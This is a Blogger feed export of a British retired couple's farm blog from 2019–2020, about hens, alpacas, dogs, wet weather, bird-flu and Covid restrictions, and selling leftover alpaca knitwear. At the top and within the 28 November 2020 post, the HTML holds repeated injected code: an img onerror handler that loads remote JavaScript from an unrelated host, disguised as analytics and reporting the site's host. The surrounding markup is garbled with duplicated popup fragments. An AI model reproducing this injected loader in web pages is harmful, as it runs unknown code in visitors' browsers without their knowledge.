s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-5472564111013652272020-11-28T12:34:00.004+00:002020-12-06T14:19:36.900+00:00Hens and things<p> Well so far no news on the trees to be pruned by Hi Line. Probably much more important jobs - or maybe they have decided that no work necessary after all.</p><p>Bad news - there is an outbreak of avian influenza (bird flu) amongst wild birds and some big flocks of domestic poultry in the UK so we have had to keep our "free range" hens under cover and make sure that they have no contact with wild birds and that wild birds cannot access their feed or drinking water.</p><p>They are used to being completely free in their field in the daytime and only being shut in at night. They seem to be quite happy at the moment and even when I go through the gate into their pen they don't really make much effort to escape.</p><p> Keeping the hen house and pen clean is more difficult than usual because there are 33 chickens to work round. So far no real problems but also no idea how long the nationwide restrictions will be in force. </p><p>Everything else seems OK - apart,of course the restrictions due to the Covid 19 pandemic. We are very lucky that our lives have not changed very much as we spend most of the time on the farm and all the usual chores still need doing. We miss going out for the occasional meal or trip to the seaside but it is a small price to pay compared with the problems some people are suffering. One of us does the weekly shop and we have a local village shop and a small farm shop close by. Because of our age we are advised to minimise contact with other people so cannot be much help to others.<br /></p><p> </p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-30776407894593164922020-11-14T12:12:00.001+00:002020-11-14T12:15:10.951+00:00Torrential Rain<p> We are still waiting for the Hi-Line workers to come and deal with the over hanging branches that they want to remove. Cannot blame them - at the moment we are having wall to wall non stop heavy rain. Not much fun when cleaning out the chicken house or clearing the yard but those jobs still need to be done.</p><p>Our young hens are laying plenty of eggs but only the older girls lay full size eggs. We sell the smaller eggs at a low price (80p for half a dozen) and they seem to go well. They are too small to boil and put in an egg cup but ideal for poaching or frying - just need to use more eggs per meal. It will be quite a few weeks before the young hens start laying full size eggs.<br /></p><p> I filled all the hay racks up with fresh hay as the few alpacas we have left will spend more time in their field shelters during this weather and eat hay instead of grass. The chickens also like the hay racks as they make a nice cosy place to lay eggs. they are free range so when collecting the eggs to sell at the farm gate I hve to check in quite a few places to make sure none are missed.</p><p> I usually take the dogs round the farm in the mornings so I can check the boundaries and make sure there are no problems and also check up on the two male alpacas who live in the lower field . This morning they had to make do with running around in the field near the house. They still managed to get quite wet but at least not muddy too.</p><p> We will be catching up on indoor jobs today. Mike always has a few projects on the go in the barn. </p><p>Although I closed the shop at Christmas last year, I seem to be making quite a few sales online of our remaining alpaca socks and hand knitted hats and mittens. There is not very much stock left but it is nice to see that it is selling rather than going to waste. <br /></p><p> www.alpaca-stuff.co.uk <br /></p><p><br /></p><p><br /></p><p><br /></p>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-80730492136177852082020-11-11T17:49:00.000+00:002020-11-11T17:49:02.633+00:00High Wires<p>We are awaiting a visit from the Hi- Line engineers as we have electric cables on our land and from time to time they have to come and carry out mantenance or cut back tree branches which might be in danger of interfering with the cables and thus with the local electricity supply. The weather has been quite bad today so we are assuming that their visit has been postponed for the time being.</p><p>During the winter farmers are allowed to cut back hedges and trees where necessry. In the spring and summer this work is not allowed as it can interfere with the nesting birds and other wildlife.</p><p>Nick,our once a week helper, is very knowledgeable and skilled in farming matters. Mike first met him when he attended a hedge laying course where Nick was the teacher. Hedge laying involves partially cutting the main stems of the hedge and weaving them to make the hedge more solid and encourage thicker growth thus making a very effective barrier around fields and between farms and again,providing wild life habitat.</p><p>We only have a few alpacas left as we are no longer trading so the four girls share a paddock with the chickens as they are good guards and will give a strong alarm call if they see anything to worry about (such as a fox thinking of dinner). It is quite a high pitched sound like a series of short screams from the back of the throat.</p><p>We let them free range over a couple of fields during the day and in the evening they respond very quickly to the noise of the feed bucket being shaken. They literally run through the gate in a race to see who gets to the feeders first.</p><p>The chickens put themselves to bed in their shelter at dusk and I go over with my trusty dog Ted and shuth them in - after a quicjk count to make sure none are missing. There are 33 at the moment. 13 older hens and the rest are youngsters only just starting to lay very small eggs.</p><p><br /></p>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-50061811289596645702020-09-13T17:35:00.000+01:002020-09-13T17:35:00.111+01:00Starting Again<p> After a long silence I have decided to make and effort to keep a blog again. Looking at the old posts it was interesting to be reminded of what was going on with the animals and ourselves in past years. <br /></p><p>Mike and I are both aging and finding it more difficult to remember times and dates when events happened, or even whether we have carried out routine tasks. Maybe keeping a regular blog (if I keep to my resolution) will be interesting and at the same time serve to settle any disagreements about dates, times and events. <br /></p><p>Although the farm shop has closed I am selling off remaining stock online through the Alpacastuff website.</p><p>There are a few socks and quite a lot of hand knitted hats, bobble hats, and mittens still available at www.alpaca-stuff.co.uk. We have only six alpacas now. Two males and four females. I expect they will live out their lives here, although we would be happy to sell them if a buyer appeared. </p><p>We have 35 hens, so we keep the four female alpacas in their paddock. As the hens are free ranging and only shut inside at night, it is good to know that the girls are round to raise the alarm if Mr. Fox appears. The alpaca alarm call is quite strange and difficult to describe. Something like a series of very short high pitched yelps with a loud intake of breath between. <br /></p><p> We let the alpacas free range during the day and they pop themelves back into the chicken paddock at usually a little before dusk to take up guard duty.<br /></p><p>As we have three dogs - two older boys and a three year old, there is plenty of noise and excitement if anything happens -like a customer coming to pick up eggs from the egg box which is situated half way down the drive. I like to think they would make a lot of noise to alert us if they saw a predator in the chickens' field too.</p><p>All in all we have a very good team.<br /></p>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com1tag:blogger.com,1999:blog-1310925173777771631.post-15070557318306803672020-03-14T16:00:00.003+00:002020-03-14T16:03:47.528+00:00We now have a very limited supply of socks for sale on our website but we still have stocks of our hand knitted hats and mittens so it is worth looking to see what is on offer.<br />
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<a href="http://www.alpaca-stuff.co.uk/"><img alt="www.alpaca-stuff.co.uk" border="0" data-original-height="480" data-original-width="426" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy80H8WzgePvXcZEa-qZbZRZ1P0lHzewPU3GXYdQFNVHgZqZiBxsZGN2OKfgoxXpWTD1X4wTJHkNELsELw6qwSTUm2VxdpHvf1Pubw-6SCkYy1wVO6eXjb8YhTD3ymVUbXga3R9Lzyn26h/s320/DSC04969-002.JPG" width="284" /></a></div>
Hand knitted Beanie hat in 75% alpaca and 25% wool Ideal to keep your hair tidy for those breezy spring walks.<br />
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Click on the photo to see all the hats available.Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-63781576475318116602020-03-09T19:37:00.001+00:002020-03-09T19:39:32.099+00:00Still RainingReally nothing of interest is happening. The wet weather continues to stop all but the basics. The chicken field is constantly water logged and the hen house is a muddy mess despite my best efforts. Until the water table drops it is not likely to improve.<br />
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The dogs get very wet and muddy most mornings when they go for their walk round the farm and I try to confine them to the yard for the rest of the day because at least it is fairly mud-free and gives them a bit of space for a run around.<br />
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We still have some socks and hand kitted items available for sale.<br />
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<a href="http://www.alpaca-stuff.co.uk/"><img alt="www.alpaca-stuff.co.uk" border="0" data-original-height="600" data-original-width="800" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinhk4lV9A7fpQ4eul8OUjRO1bRalAHA0521ELZ1hcrIlFDTQZ7MFmjW03IBNMddxISX2A4HZCg9cWvj09LitpqMrBzUw5ZTV8GZpWR93CLSjP6dQVwOLNbkVwqeo1CNk3pmYnztIGUu3oI/s320/1-DSC04810.JPG" width="320" /></a></div>
Click on the photo to visit our Alpacastuff website for socks, hats and mittens.Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-70989018025955887252020-02-29T16:35:00.001+00:002020-02-29T16:41:16.779+00:00SunshineSunshine has occurred today - short bursts and I still got soaked this morning walking the dogs and sorting out the chcikens. When will it ever end?<br />
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I have not had anything to add to the blog recently because it has been one wet day after another and nothing much has been happening.<br />
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We have an extra dog on the farm now. Dodger is sister to our Dolly, border collie. He belongs to my friend Pauline who is currently not well enough to have him at home so he is here for a while. He has been used to visiting us in the past for holidays so it has not unsettled him to come and stay.<br />
He is very very active and is really enjoying sloshing around the farm.<br />
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Pam who has knitted all the hats and gloves which we sold in our shop is now using up the last of our yarn . It will probably take some time to sell because we are now (believe it or not) starting to come out of the season for buying woollies!!<br />
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Check the website for hand knits in 100% natural colour alpaca and 75% alpaca blended with wool in great dyed colours.<br />
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<a href="http://www.alpaca-stuff.co.uk/"><img alt="www.alpaca-stuff.co.uk" border="0" data-original-height="360" data-original-width="480" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7dlGLbDkwnrq2Hdwn5viTRcIP2L6TS8rDR1lBLyWoUlF2uutw4cixvT4fDWL7msLq8N859MpYgqj3yj5-jwlvnk85_t4pN1P5-pU1pF3c8TBkan2Br-s5yj3MeuvCJs02rmy2zhOJ694G/s320/1-DSC04688.JPG" width="320" /></a></div>
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Click on the photo to visit our Alpacastuff website.<br />
<br />Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-73463605180901065192020-02-14T15:03:00.000+00:002020-02-14T15:03:02.842+00:00MudbathThe heavy rain we have been having lately is turning the gateways and paddocks which we are using into virtual mudbaths. The winds and rain overnight were really concerning but this morning the sunshine has returned at least for the time being.<br />
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More storms are forecast for the week end.<br />
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We have four female alpacas alpacas for sale as we only want to keep a couple of males to guard the hens. This is part of our retirement plan. Eventually I expect the hens will go too but at the moment they are laying lovely eggs and we have quite a few regular customers.<br />
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<a href="http://www.alpacas-for-sale.co.uk/">www.alpacas-for-sale.co.uk</a>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-44411786807203645492020-02-11T15:26:00.002+00:002020-02-11T15:29:57.021+00:00Still AvailableIt has been very quiet since Christmas but it has been nice to just keep things running without having to worry about opening the shop. I am keeping our websites live for the time being as I still have a small stock of hand knits and alpaca socks.<br />
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Also there re 4 female alpacas available for sale as we only really need a couple to guard the hens who are still going strong and laying surprisingly well for the time of year.<br />
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<a href="http://www.alpaca-stuff.co.uk/"><img alt="www.alpaca-stuff.co.uk" border="0" data-original-height="480" data-original-width="426" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEge0p-B87JjMZnnmnk_Q0yFT4GqQq4yGk2WoPGX5klVi_ZsBsFj4iCayIq2-GXxgFmW3IoMa9m8-ooyBkCvyVUIrv2B4VdD2_yEuKel4qgp6S36OInMBdjfyHC0gnWyIIRpEz0zVg1kRaZS/s320/DSC04969-002.JPG" width="284" /></a></div>
Click on the photo to visit the Alpacastuff website and see the selection of hand knits and alpaca socks for sale.<br />
<br />Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-26438363796082302662019-12-31T16:22:00.004+00:002020-02-11T15:14:48.318+00:00Mixed ChristmasMike took our presents up to the family in Salisbury just before Christmas which was just as well as it turned out, because on Christmas Day he was not feeling very good so I went up on my own for a few hours and he stayed at home.<br />
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It was lovely seeing everyone and Jane, my daughter-in-law put on a lovely spread helped by the "chuildren" home from Uni for the holidays.<br />
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It was not very nice travelling home as it was quite dark by the time I reached the A303 but I managed to come off at the right roundabout and made reasonable time. Mike was much better when I got home but said he thought he had made the right decision in not coming. As we are looking after Pauline's dogs as well as our own, it was good for them to have him on hand to let them out and they kept each other company.<br />
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We hope everything will be back to normal next Christmas.<br />
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<a href="http://www.alpaca-stuff.co.uk/"><img alt="www.alpaca-stuff.co.uk" border="0" data-original-height="480" data-original-width="349" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzKp4Uduz0AO4lpnpeNeHFipXZjV6AhuxQYvefpHpjSx_rn9rcVsYGKnnFfnOzWyKFrUkC8aoffgvpTF202flr9RvvmlRBTGpTra9J1AM5Zm-2TY20lu8s_CAxMZXBQI-F_H5v-P_Xmt3O/s320/DSC04961-003.JPG" width="232" /></a></div>
Bobble hats sold very well before Christmas and I am still selling the surplus stock on our website www.alpaca-stuff.co.uk. Click on the photo to see all our remaining socks and hand knits. <br />
<br />Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-80719122979706562872019-12-26T20:32:00.000+00:002019-12-26T20:33:46.638+00:00End of an EraOn the 21st December - the last Saturday before Christmas, we closed our little farm shop finally.<br />
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Pre Christmas sales went very well and we now have a very limited stock of socks and quite a few hand knitted hats and mittens left which are for sale on our website.<br />
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My best friend has recently suffered a stroke which has left her with mobility problems and restricted use of her hand. I have been looking after her two dogs - Alice, a dear little Staffordshire bull terrier and Dodger, the brother of my bitch, Dollie - bred here on the farm. I think they may be here for the long haul if not permanently - especially as Alice is fifteen years old. <br />
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We have also sold all our male alpacas exccept one cria who is still with his Mum and two more females left on Christmas eve.<br />
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This leaves us with four females, the male cria and a newcomer - Freddie.<br />
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Freddie was originally sold as yearling with four other young males. The new owners had them all wethered and until recently we thought that all was well. Unfortunately, however, Freddie has become dominant and made them feel uncomfortable with him. I visited and found him to be rather full of himself and definitely the herd leader but not frightening.<br />
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I suggested that he returned to us and as he is a whether (castrated male) he is living with our four remaining females and seems quite happy. He and I have reached an understanding - i.e. I am the herd leader and not him!<br />
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When the weather allows I will take his photo and upload to the blog.Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-41643405302733083112019-12-08T18:59:00.000+00:002019-12-26T20:13:12.104+00:00Chickens on the moveYesterday we moved the chicken run - which is a effectively a small paddock in the field near the house. The female alpacas and chickens have been sharing the same area for some time and we felt they should have fresh pasture.<br />
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Unfortunately the hens did not quite understand and several of them spent yesterday finding ways to get back into their original paddock. We could not find a break in the wire netting we use to keep them in so assume that they must be flying out. I was afraid that we might have to clip the wings of the repeat offenders but luckily they seem to be getting the idea that the new pasture is quite nice after all. At least three of them insist on laying their eggs in the alpaca shelter and it has taken a a few attempts to explain to them that the new shelter also has a hay rack where they can deposit their eggs if the nesting boxes inside their house are not comfy enough!<br />
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The weather has been very changeable and they have spent most of today dashing for cover when the high winds and rain started and then coming out one by one when the sun appeared again.<br />
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<a href="http://www.alpaca-stuff.co.uk/">www.alpaca-stuff.co.uk</a>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-81695101806379884762019-12-02T19:27:00.000+00:002019-12-02T19:41:44.925+00:00Quiet DayEven the weather is quiet today. The wet weather and at times bitterly cold winds seem to have given way to sunshine. It was frosty this morning but that is so much better than rain.<br />
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With the male alpacas gone, the barn is not needed as a night time shelter now and has returned to a cart lodge and storage area. We are expecting a skip soon so that we can have a good clear out and tidy up so that we can put our private vehicles under cover. It will be lovely not to be scraping frost off the windows in the mornings.<br />
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The chickens seem to be on strike at the moment with fewer eggs. Unless we have some really unseasonable weather I expect it will be the spring before they get back to their full potential.<br />
I am thinking of buying another batch of hens because we have lost a few recently due to old age.<br />
That will help boost the egg production and reduce the impact of the older birds who are no longer laying many eggs.<br />
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<a href="http://www.alpaca-stuff.co.uk/"><img alt="www.alpaca-stuff.co.uk" border="0" data-original-height="480" data-original-width="349" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdUwQXKMTewyouLarqObzrxWdtE9LTFa3fWp_vSIUmYDbas_lXtWhixzi6jVcgKPNwrO3HnTgddoCTKdtCF87VQYOx5cX5r9_Bu_uT1LxChpz-zKhhf3zXtjTCzYz_fFKNFvbNibwGVr3b/s320/DSC04961-002.JPG" width="232" /></a></div>
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Click on the image of our latest bobble hat in Wine and Fawn to see our selection of hats<br />
<br />Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-38593477408491484362019-12-01T18:53:00.000+00:002019-12-01T19:02:20.131+00:00Busy BusyI didn't realise it was so long since I updated the blog.<br />
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I have sold our last six male alpacas which was a bit of a distraction. Although it was not hard work it coincided with the shop being extra busy because of the imminent arrival of Christmas.<br />
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It is not just a question of selling them - they have a pre-movemment TB test and have to be up to date with their husbandry such as toe nails, worming and ADE injections. Because they are genetically designed for life at high altitude where they get plenty of sunshine and therefore vitamin D, they have to have a regular doses of ADE over the winter months.<br />
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The TB test was negative, thank goodness and their new owners collected them a few days ago. Since they were born and bred on the farm they have never been in a trailer before so it was a bit of a performance getting them in. After a fairly long time trying to coax, push and pull them in to the trailer without success I fetched my faithful dog Dolly into the barn. I was concerned that she would be over excited to be involved in the situation as she is not used to working indoors (i.e. in the barn) but she was very calm and gave the boys the eye and with hardly any effort she explained that they had to move forward and they just went in like little lambs.<br />
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Apparently they travelled very well and are adjusting well to their new home.<br />
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I am closing the shop down at Christmas and took a chance on getting extra stock of our alpaca socks. Luckily it has paid off because they are going very qickly and some of the shelves are already empty.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv0CG4no1uRbLti7Q1P8oRUaXdcvOQAm89VMMZmfQoaoUp65AJD7QeIlQOCbB5tKMz6Yg3p-vsJTPJWubs8MI1Ywvs6Jf93jrWGxoe5snn4KpEPAJbQZogFteGsdvKo_AKIXL_6NL8WAnz/s1600/4-DSC04667.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="250" data-original-width="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv0CG4no1uRbLti7Q1P8oRUaXdcvOQAm89VMMZmfQoaoUp65AJD7QeIlQOCbB5tKMz6Yg3p-vsJTPJWubs8MI1Ywvs6Jf93jrWGxoe5snn4KpEPAJbQZogFteGsdvKo_AKIXL_6NL8WAnz/s1600/4-DSC04667.JPG" /></a></div>
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Hand made Chulla Hat with ear flaps to keep you really warm in the winter weather.</div>
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<a href="http://www.alpaca-stuff.co.uk/"><img alt="www.alpaca-stuff.co.uk" border="0" data-original-height="448" data-original-width="480" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCD51l_slsSfVQOr4mMmukRSMRsdYnOCV9qof1QRZEqFWrcjV8rHx24PjL5SjO10j77zifby5-9bZfTSNJ5rK0OzycteZL6AwDXS5sFGLu_iOaPFQVSfzQ7VmIlbAM2qA1cjfLeQv7UvYQ/s320/1-DSC04849.JPG" width="320" /></a></div>
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Alpaca Walking socks with cushion sole for extra warmth.<br />
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Click on the photo to visit our Alpacstuff website. </div>
Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0